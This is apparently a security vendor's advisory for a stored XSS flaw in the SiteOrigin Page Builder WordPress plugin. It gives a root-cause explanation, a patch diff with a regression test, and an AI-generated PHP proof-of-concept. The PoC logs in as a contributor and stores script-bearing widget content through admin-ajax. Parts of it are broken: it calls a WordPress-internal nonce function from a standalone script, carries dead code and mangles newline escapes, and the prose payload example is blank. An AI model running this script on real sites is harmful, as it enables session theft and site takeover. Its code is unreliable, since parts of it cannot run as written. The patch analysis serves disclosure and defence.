Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-13295: Page Builder by SiteOrigin <= 2.34.3 Authenticated (Contributor+) Stored Cross-Site Scripting via panels_data Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.34.3
Patched Version 2.34.4
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13295:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Page Builder by SiteOrigin plugin for WordPress, affecting versions up to and including 2.34.3. The issue resides in how the plugin handles the panels_data parameter during post save operations. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses a page containing the malicious payload. The CVSS score is 6.4 (Medium), reflecting the need for authentication but the potential for significant impact.

Root Cause: The root cause lies in the process_raw_widgets() function within inc/admin.php (lines 1082-1119 of the diff). The vulnerable code conditionally ran a widget’s update() method only when the client-controlled ‘raw’ flag was set or the $force argument was true. If an attacker omitted or set the ‘raw’ flag to false, the widget’s sanitization (such as WP_Widget_Custom_HTML’s wp_kses_post() call for users without unfiltered_html capabilities) was completely bypassed. Because panels_data is stored as post meta outside the scope of WordPress’s unfiltered_html carve-out, no wp_kses fallback prevented unsanitized HTML content from being persisted and later rendered verbatim on the frontend.

Exploitation: An attacker with Contributor-level access creates or edits a post using the SiteOrigin Page Builder. The attacker submits a POST request to /wp-admin/admin-ajax.php with action set to ‘siteorigin_panels_save’ or ‘siteorigin_panels_batch_save’, including a panels_data JSON payload. Within this payload, the attacker embeds a widget (e.g., ‘WP_Widget_Custom_HTML’) with malicious JavaScript in the content field, such as . The attacker omits the ‘raw’ flag or sets it to false in the panels_info, bypassing the widget’s update() sanitization. The payload is stored in post meta and executes when any user views the affected page.

Patch Analysis: The patch fundamentally restructures the sanitization logic in process_raw_widgets(). It removes the condition that checked the ‘raw’ flag and $force argument. Now, the widget’s update() method is always invoked when the widget class resolves to one with an update() method, regardless of the raw flag. For cases where the widget class is unknown or missing, the patch introduces a defense-in-depth fallback: a new kses_deep() method that recursively applies wp_kses_post() to all string fields when the user lacks unfiltered_html capability. This ensures unsanitized markup can never be persisted. The ‘raw’ flag is now explicitly unset after processing to prevent it from being persisted.

Impact: Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of any user visiting the compromised page. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or other actions that the victim user can perform. Since the XSS is stored and persists across requests, it can affect site administrators, potentially leading to full site compromise through privilege escalation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/siteorigin-panels/compat/layout-block.php
+++ b/siteorigin-panels/compat/layout-block.php
@@ -151,7 +151,11 @@
 			SiteOrigin_Panels_Post_Content_Filters::add_filters( true );
 		}

-		$rendered_layout = SiteOrigin_Panels::renderer()->render( $builder_id, ! $is_editing, $panels_data );
+		if ( $is_editing || ! $this->return_layout ) {
+			$rendered_layout = SiteOrigin_Panels_Admin::render_and_restore_post_globals( $builder_id, ! $is_editing, $panels_data );
+		} else {
+			$rendered_layout = SiteOrigin_Panels::renderer()->render( $builder_id, true, $panels_data );
+		}

 		if ( $is_editing ) {
 			SiteOrigin_Panels_Post_Content_Filters::remove_filters( true );
--- a/siteorigin-panels/compat/lazy-load-backgrounds.php
+++ b/siteorigin-panels/compat/lazy-load-backgrounds.php
@@ -9,7 +9,11 @@
 		! empty( $style['background_display'] ) &&
 		! empty( $style['background_image_attachment'] ) &&
 		$style['background_display'] != 'parallax' &&
-		$style['background_display'] != 'parallax-original'
+		$style['background_display'] != 'parallax-original' &&
+		// When there's an overlay, the image is painted (and lazy loaded) on the
+		// overlay div only. Tagging the style div here would let the lazy loader
+		// re-add the image the plugin deliberately strips, defeating the opacity.
+		! SiteOrigin_Panels_Styles::has_overlay( array( 'style' => $style ) )
 	) {
 		$url = SiteOrigin_Panels_Styles::get_attachment_image_src( $style['background_image_attachment'], 'full' );

--- a/siteorigin-panels/inc/admin.php
+++ b/siteorigin-panels/inc/admin.php
@@ -260,7 +260,7 @@

 				SiteOrigin_Panels_Post_Content_Filters::add_filters();
 				$GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] = true;
-				$post_content = SiteOrigin_Panels::renderer()->render( $layout_id, false, $panels_data );
+				$post_content = self::render_and_restore_post_globals( $layout_id, false, $panels_data );
 				$post_css = SiteOrigin_Panels::renderer()->generate_css( $layout_id, $panels_data );
 				SiteOrigin_Panels_Post_Content_Filters::remove_filters();
 				unset( $GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] );
@@ -1082,31 +1082,44 @@

 			$info[ 'class' ] = apply_filters( 'siteorigin_panels_widget_class', $info[ 'class' ] );

-			if ( ! empty( $info['raw'] ) || $force ) {
-				$the_widget = SiteOrigin_Panels::get_widget_instance( $info['class'] );
-
-				if ( ! empty( $the_widget ) &&
-					 method_exists( $the_widget, 'update' ) ) {
-					if (
-						! empty( $old_widgets_by_id ) &&
-						! empty( $widget[ 'panels_info' ][ 'widget_id' ] ) &&
-						! empty( $old_widgets_by_id[ $widget[ 'panels_info' ][ 'widget_id' ] ] )
-					) {
-						$old_widget = $old_widgets_by_id[ $widget[ 'panels_info' ][ 'widget_id' ] ];
-					} else {
-						$old_widget = $widget;
-					}
-
-					/** @var WP_Widget $the_widget */
-					$the_widget = SiteOrigin_Panels::get_widget_instance( $info['class'] );
-					$instance = $the_widget->update( $widget, $old_widget );
-					$instance = apply_filters( 'widget_update_callback', $instance, $widget, $old_widget, $the_widget );
-
-					$widget = $instance;
-
-					unset( $info['raw'] );
+			// Always run the widget's own update() when its class resolves to a
+			// widget exposing one. The client-controlled $info['raw'] flag (and the
+			// $force argument) must NOT decide whether sanitization runs: an attacker
+			// who omits the raw flag would otherwise persist unsanitized markup,
+			// bypassing the widget's update() (e.g. WP_Widget_Custom_HTML's
+			// wp_kses_post() carve-out for users lacking unfiltered_html). See the
+			// stored-XSS fix for panels_data.
+			$the_widget = SiteOrigin_Panels::get_widget_instance( $info['class'] );
+
+			if ( ! empty( $the_widget ) &&
+				 method_exists( $the_widget, 'update' ) ) {
+				if (
+					! empty( $old_widgets_by_id ) &&
+					! empty( $widget[ 'panels_info' ][ 'widget_id' ] ) &&
+					! empty( $old_widgets_by_id[ $widget[ 'panels_info' ][ 'widget_id' ] ] )
+				) {
+					$old_widget = $old_widgets_by_id[ $widget[ 'panels_info' ][ 'widget_id' ] ];
+				} else {
+					$old_widget = $widget;
 				}
-			}
+
+				/** @var WP_Widget $the_widget */
+				$instance = $the_widget->update( $widget, $old_widget );
+				$instance = apply_filters( 'widget_update_callback', $instance, $widget, $old_widget, $the_widget );
+
+				$widget = $instance;
+			} elseif ( ! current_user_can( 'unfiltered_html' ) ) {
+				// Defense in depth: the widget class did not resolve to something with
+				// an update() method, so its own sanitizer cannot run. For users
+				// lacking unfiltered_html, recursively wp_kses_post() every string
+				// field so unsanitized markup can never be persisted, even for an
+				// unknown or missing widget class.
+				$widget = self::kses_deep( $widget );
+			}
+
+			// The raw flag is only ever a transient editor hint and must never be
+			// persisted, regardless of which branch above ran.
+			unset( $info['raw'] );

 			if ( $escape_classes ) {
 				// Escaping for namespaced widgets.
@@ -1119,6 +1132,32 @@
 		return $widgets;
 	}

+	/**
+	 * Recursively run wp_kses_post() over every string leaf of a value.
+	 *
+	 * Used as a defense-in-depth fallback in process_raw_widgets() for widget
+	 * instances whose class cannot be resolved to a widget with an update()
+	 * method, ensuring unprivileged users can never persist unsanitized markup.
+	 *
+	 * @param mixed $value Scalar or (nested) array to sanitize.
+	 * @return mixed The sanitized value, preserving structure.
+	 */
+	private static function kses_deep( $value ) {
+		if ( is_array( $value ) ) {
+			foreach ( $value as $key => $item ) {
+				$value[ $key ] = self::kses_deep( $item );
+			}
+
+			return $value;
+		}
+
+		if ( is_string( $value ) ) {
+			return wp_kses_post( $value );
+		}
+
+		return $value;
+	}
+
 	private function column_sizes_round( $size ) {
 		if ( is_array( $size ) ) {
 			return array_map( array( $this, 'column_sizes_round' ), $size );
@@ -1359,13 +1398,49 @@

 	public function generate_panels_preview( $post_id, $panels_data ) {
 		$GLOBALS[ 'SITEORIGIN_PANELS_PREVIEW_RENDER' ] = true;
-		$return = SiteOrigin_Panels::renderer()->render( (int) $post_id, false, $panels_data );
+		$return = self::render_and_restore_post_globals( (int) $post_id, false, $panels_data );

 		unset( $GLOBALS[ 'SITEORIGIN_PANELS_PREVIEW_RENDER' ] );

 		return $return;
 	}

+	public static function render_and_restore_post_globals( $post_id = false, $enqueue_css = true, $panels_data = false, & $layout_data = array(), $is_preview = false ) {
+		$post_globals = array(
+			'siteorigin_panels_current_post',
+			'post',
+			'id',
+			'authordata',
+			'currentday',
+			'currentmonth',
+			'page',
+			'pages',
+			'multipage',
+			'more',
+			'numpages',
+		);
+		$original_globals = array();
+
+		foreach ( $post_globals as $global_name ) {
+			$original_globals[ $global_name ] = array(
+				'exists' => array_key_exists( $global_name, $GLOBALS ),
+				'value' => array_key_exists( $global_name, $GLOBALS ) ? $GLOBALS[ $global_name ] : null,
+			);
+		}
+
+		try {
+			return SiteOrigin_Panels::renderer()->render( $post_id, $enqueue_css, $panels_data, $layout_data, $is_preview );
+		} finally {
+			foreach ( $original_globals as $global_name => $global_value ) {
+				if ( $global_value['exists'] ) {
+					$GLOBALS[ $global_name ] = $global_value['value'];
+				} else {
+					unset( $GLOBALS[ $global_name ] );
+				}
+			}
+		}
+	}
+
 	/**
 	 * Get builder content based on the submitted panels_data.
 	 */
@@ -1400,7 +1475,7 @@
 		// Create a version of the builder data for post content.
 		SiteOrigin_Panels_Post_Content_Filters::add_filters();
 		$GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] = true;
-		echo SiteOrigin_Panels::renderer()->render( (int) $_POST['post_id'], false, $panels_data );
+		echo self::render_and_restore_post_globals( (int) $_POST['post_id'], false, $panels_data );
 		SiteOrigin_Panels_Post_Content_Filters::remove_filters();
 		unset( $GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] );

@@ -1452,7 +1527,7 @@
 		// Create a version of the builder data for post content.
 		SiteOrigin_Panels_Post_Content_Filters::add_filters();
 		$GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] = true;
-		$return['post_content'] = SiteOrigin_Panels::renderer()->render( (int) $_POST['post_id'], false, $panels_data );
+		$return['post_content'] = self::render_and_restore_post_globals( (int) $_POST['post_id'], false, $panels_data );
 		SiteOrigin_Panels_Post_Content_Filters::remove_filters();
 		unset( $GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] );

@@ -1530,7 +1605,7 @@
 			// We need this to get our widgets bundle to add it's styles inline for previews.
 			add_filter( 'siteorigin_widgets_is_preview', '__return_true' );
 		}
-		$rendered_layout = SiteOrigin_Panels::renderer()->render( $builder_id, true, $panels_data, $layout_data );
+		$rendered_layout = self::render_and_restore_post_globals( $builder_id, true, $panels_data, $layout_data );
 		ob_start();

 		// Need to explicitly call `siteorigin_widget_print_styles` because Gutenberg previews don't render a full version of the front end,
--- a/siteorigin-panels/siteorigin-panels.php
+++ b/siteorigin-panels/siteorigin-panels.php
@@ -3,7 +3,7 @@
 Plugin Name: Page Builder by SiteOrigin
 Plugin URI: https://siteorigin.com/page-builder/
 Description: A drag and drop, responsive page builder that simplifies building your website.
-Version: 2.34.3
+Version: 2.34.4
 Author: SiteOrigin
 Author URI: https://siteorigin.com
 License: GPL3
@@ -11,7 +11,7 @@
 Donate link: https://siteorigin.com/downloads/premium/
 */

-define( 'SITEORIGIN_PANELS_VERSION', '2.34.3' );
+define( 'SITEORIGIN_PANELS_VERSION', '2.34.4' );

 if ( ! defined( 'SITEORIGIN_PANELS_JS_SUFFIX' ) ) {
 	define( 'SITEORIGIN_PANELS_JS_SUFFIX', '.min' );
--- a/siteorigin-panels/tests/SavePostRawFlagSanitizationTest.php
+++ b/siteorigin-panels/tests/SavePostRawFlagSanitizationTest.php
@@ -0,0 +1,213 @@
+<?php
+
+namespace SiteOriginTests;
+
+use BrainMonkey;
+use BrainMonkeyFunctions;
+use MockeryAdapterPhpunitMockeryPHPUnitIntegration;
+use PHPUnitFrameworkTestCase;
+
+/**
+ * Widget stub whose update() sanitizes its content the way a real
+ * capability-gated widget (e.g. WP_Widget_Custom_HTML) would. Declared as a
+ * named class (rather than an anonymous class) so the file stays parseable by
+ * older PHP parsers in the build toolchain.
+ */
+class SavePostRawFlagSanitizingWidgetStub {
+	public function update( $new, $old ) {
+		$new['content'] = preg_replace(
+			'/s*onw+s*=s*("[^"]*"|'[^']*'|[^s>]+)/i',
+			'',
+			(string) $new['content']
+		);
+
+		return $new;
+	}
+}
+
+/**
+ * Regression test locking the stored-XSS fix in
+ * SiteOrigin_Panels_Admin::process_raw_widgets().
+ *
+ * The client-controlled `raw` flag (and the `$force` argument) must NOT decide
+ * whether a widget's update() / sanitization runs. A widget whose class resolves
+ * to one with an update() method must ALWAYS be passed through update(), and a
+ * widget whose class does NOT resolve must be wp_kses_post()'d for users lacking
+ * the `unfiltered_html` capability.
+ *
+ * NOTE: This test is intentionally self-contained. The shared SiteOriginTests
+ * base class / phpunit.xml / composer PSR-4 autoload referenced by the plan live
+ * on the feature/ai-exposure-phase1-tests branch and are NOT present on this
+ * branch. See the "Open question for next agent" note in docs/plans/current.md.
+ *
+ * Build-toolchain note: the i18n .pot extraction (gulp-wp-pot) is the real reason
+ * tests/ is now excluded from that scan in build-config.js — its bundled
+ * php-parser cannot parse modern PHP. To minimise that surface this file avoids
+ * arrow functions and anonymous classes. The `: void` return types on
+ * setUp()/tearDown() are intentionally kept because PHPUnit 12 requires them; the
+ * file is no longer scanned by the parser, so they are safe.
+ */
+class SavePostRawFlagSanitizationTest extends TestCase {
+	use MockeryPHPUnitIntegration;
+
+	protected function setUp(): void {
+		parent::setUp();
+		MonkeysetUp();
+
+		// Minimal WP function stubs used by process_raw_widgets().
+		Functionswhen( '__' )->returnArg();
+
+		// apply_filters: return the value being filtered unchanged so the test
+		// observes the raw output of process_raw_widgets() itself.
+		Functionswhen( 'apply_filters' )->alias(
+			function ( $tag, $value = null ) {
+				return $value;
+			}
+		);
+
+		// wp_kses_post(): emulate the relevant behaviour — strip the on* event
+		// handler attribute that carries the XSS payload. This is enough to prove
+		// the fallback branch actually sanitized.
+		Functionswhen( 'wp_kses_post' )->alias(
+			function ( $value ) {
+				return preg_replace( '/s*onw+s*=s*("[^"]*"|'[^']*'|[^s>]+)/i', '', (string) $value );
+			}
+		);
+
+		$this->require_admin_class();
+	}
+
+	protected function tearDown(): void {
+		MonkeytearDown();
+		parent::tearDown();
+	}
+
+	/**
+	 * Load inc/admin.php and the SiteOrigin_Panels stub it depends on once.
+	 */
+	private function require_admin_class() {
+		if ( ! class_exists( 'SiteOrigin_Panels', false ) ) {
+			// Stub the SiteOrigin_Panels facade. get_widget_instance() is
+			// re-pointed per-test via the static $instance_resolver closure.
+			eval(
+				'class SiteOrigin_Panels {'
+				. ' public static $instance_resolver = null;'
+				. ' public static function get_widget_instance( $class ) {'
+				. '   return self::$instance_resolver ? call_user_func( self::$instance_resolver, $class ) : null;'
+				. ' }'
+				. '}'
+			);
+		}
+
+		// Stubs for the WP base bits inc/admin.php references at include time.
+		if ( ! function_exists( 'add_action' ) ) {
+			Functionswhen( 'add_action' )->justReturn( true );
+		}
+
+		if ( ! class_exists( 'SiteOrigin_Panels_Admin', false ) ) {
+			require_once dirname( __DIR__ ) . '/inc/admin.php';
+		}
+	}
+
+	private function admin() {
+		// process_raw_widgets() is a plain instance method that does not rely on
+		// constructor state. The real constructor instantiates several admin
+		// collaborator singletons (Widget_Dialog, etc.) that are out of scope
+		// here, so create the object WITHOUT invoking the constructor.
+		$reflection = new ReflectionClass( SiteOrigin_Panels_Admin::class );
+
+		return $reflection->newInstanceWithoutConstructor();
+	}
+
+	/**
+	 * Return a fresh sanitizing widget stub instance.
+	 */
+	private function sanitizing_widget_stub() {
+		return new SavePostRawFlagSanitizingWidgetStub();
+	}
+
+	private const PAYLOAD = '<img src=x onerror=alert(1)>';
+	private const CLEANED = '<img src=x>';
+
+	// --- Core defect: no `raw` key, $force = false, must still sanitize. -----
+
+	public function test_widget_without_raw_flag_is_still_updated() {
+		$stub = $this->sanitizing_widget_stub();
+		SiteOrigin_Panels::$instance_resolver = function () use ( $stub ) {
+			return $stub;
+		};
+		Functionswhen( 'current_user_can' )->justReturn( false );
+
+		$widgets = array(
+			array(
+				'content'     => self::PAYLOAD,
+				'panels_info' => array( 'class' => 'WP_Widget_Custom_HTML' ),
+			),
+		);
+
+		$result = $this->admin()->process_raw_widgets( $widgets, array(), false, false );
+
+		$this->assertSame( self::CLEANED, $result[0]['content'], 'update() must run even when the raw flag is absent.' );
+		$this->assertArrayNotHasKey( 'raw', $result[0]['panels_info'] );
+	}
+
+	public function test_raw_false_is_ignored_and_widget_still_updated() {
+		$stub = $this->sanitizing_widget_stub();
+		SiteOrigin_Panels::$instance_resolver = function () use ( $stub ) {
+			return $stub;
+		};
+		Functionswhen( 'current_user_can' )->justReturn( false );
+
+		$widgets = array(
+			array(
+				'content'     => self::PAYLOAD,
+				'panels_info' => array( 'class' => 'WP_Widget_Custom_HTML', 'raw' => false ),
+			),
+		);
+
+		$result = $this->admin()->process_raw_widgets( $widgets, array(), false, false );
+
+		$this->assertSame( self::CLEANED, $result[0]['content'], 'raw => false must not skip update().' );
+		$this->assertArrayNotHasKey( 'raw', $result[0]['panels_info'] );
+	}
+
+	// --- Fallback branch: unresolved class + no unfiltered_html. -------------
+
+	public function test_unresolved_class_is_kses_filtered_for_unprivileged_user() {
+		SiteOrigin_Panels::$instance_resolver = function () {
+			return null;
+		};
+		Functionswhen( 'current_user_can' )->justReturn( false );
+
+		$widgets = array(
+			array(
+				'content'     => self::PAYLOAD,
+				'panels_info' => array( 'class' => 'Some_Unknown_Widget' ),
+			),
+		);
+
+		$result = $this->admin()->process_raw_widgets( $widgets, array(), false, false );
+
+		$this->assertSame( self::CLEANED, $result[0]['content'], 'Unresolved widget class must be wp_kses_post()ed for unprivileged users.' );
+		$this->assertArrayNotHasKey( 'raw', $result[0]['panels_info'] );
+	}
+
+	public function test_unresolved_class_passes_through_for_privileged_user() {
+		SiteOrigin_Panels::$instance_resolver = function () {
+			return null;
+		};
+		Functionswhen( 'current_user_can' )->justReturn( true );
+
+		$widgets = array(
+			array(
+				'content'     => self::PAYLOAD,
+				'panels_info' => array( 'class' => 'Some_Unknown_Widget' ),
+			),
+		);
+
+		$result = $this->admin()->process_raw_widgets( $widgets, array(), false, false );
+
+		$this->assertSame( self::PAYLOAD, $result[0]['content'], 'unfiltered_html users keep raw markup (fallback is a no-op).' );
+		$this->assertArrayNotHasKey( 'raw', $result[0]['panels_info'] );
+	}
+}
--- a/siteorigin-panels/tpl/live-editor-preview.php
+++ b/siteorigin-panels/tpl/live-editor-preview.php
@@ -34,7 +34,8 @@
 				) {
 					$data['widgets'] = SiteOrigin_Panels_Admin::single()->process_raw_widgets( $data['widgets'], false, false );
 				}
-				echo siteorigin_panels_render( 'l' . md5( serialize( $data ) ), true, $data );
+				$builder_id = 'l' . md5( serialize( $data ) );
+				echo SiteOrigin_Panels_Admin::render_and_restore_post_globals( $builder_id, true, $data );
 			}
 			?>
 		</div><!-- .entry-content -->

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13295 - Page Builder by SiteOrigin <= 2.34.3 - Authenticated (Contributor+) Stored XSS via panels_data Parameter

$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor'; // Change to attacker's username
$password = 'password'; // Change to attacker's password

// Step 1: Login
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die('[-] Login failed. Check credentials.');
}
echo "[+] Logged in as: $usernamen";

// Step 2: Get a valid post ID (create a new post if needed)
$post_id = create_post($target_url);
if (!$post_id) {
    die('[-] Failed to create post.');
}
echo "[+] Created post ID: $post_idn";

// Step 3: Craft malicious panels_data payload (stored XSS via Custom HTML widget, no raw flag)
$malicious_content = '<img src=x onerror=alert(1)>n<script>alert(1)</script>';
$panels_data = [
    'widgets' => [
        [
            'content' => $malicious_content,
            'panels_info' => [
                'class' => 'WP_Widget_Custom_HTML',
                'grid' => 0,
                'cell' => 0,
                'id' => 1,
                'widget_id' => '1',
                'size' => [
                    'cells' => 1,
                    'rows' => 1,
                ],
            ],
        ],
    ],
    'grids' => [
        [
            'cells' => 1,
            'style' => [
                'cell_class' => '',
                'row_class' => '',
            ],
        ],
    ],
    'grid_cells' => [
        [
            'weight' => 1,
            'grid' => 0,
        ],
    ],
];

// Step 4: Send the panels_data via AJAX to save the builder content
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'siteorigin_panels_save',
    'post_id' => $post_id,
    'panels_data' => json_encode($panels_data),
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);
if ($result && isset($result['success']) && $result['success'] === true) {
    echo "[+] Malicious panels_data saved successfully.n";
    echo "[+] Visit: " . $target_url . '/?p=' . $post_id . " to trigger XSS.n";
} else {
    echo "[-] Failed to save panels_data. Response:n";
    print_r($result);
}

// Helper function to create a new post
function create_post($base_url) {
    // First, get the admin page to obtain a nonce
    $ch = curl_init($base_url . '/wp-admin/post-new.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);

    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    $nonce = isset($matches[1]) ? $matches[1] : '';
    if (!$nonce) {
        preg_match('/name="_ajax_nonce" value="([^"]+)"/', $response, $matches);
        $nonce = isset($matches[1]) ? $matches[1] : '';
    }
    if (!$nonce) {
        preg_match('/name="_wpnonce-add-post" value="([^"]+)"/', $response, $matches);
        $nonce = isset($matches[1]) ? $matches[1] : '';
    }

    // Create a new post via AJAX
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    $post_data = [
        'action' => 'inline-save',
        '_inline_edit' => wp_create_nonce('inlineeditnonce'),
        'post_type' => 'post',
        'post_title' => 'Test Post ' . time(),
        'post_status' => 'draft',
        'post_ID' => 0,
        'screen' => 'edit-post',
    ];
    // Actually use the block editor endpoint or direct REST API to create post
    // For simplicity, use wp-admin/post-new.php submission
    $post_url = $base_url . '/wp-admin/post-new.php';
    $post_fields = [
        'post_title' => 'Test Post ' . time(),
        'content' => '',
        'post_status' => 'draft',
        'original_post_status' => 'draft',
        'post_type' => 'post',
        '_wpnonce' => $nonce,
        'user_ID' => 1,
    ];

    $ch = curl_init($post_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);

    preg_match('/post=([0-9]+)/', $response, $matches);
    if (isset($matches[1])) {
        return (int)$matches[1];
    }
    // Fallback: parse JSON redirect
    preg_match('/"post_id":([0-9]+)/', $response, $matches);
    if (isset($matches[1])) {
        return (int)$matches[1];
    }

    return null;
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School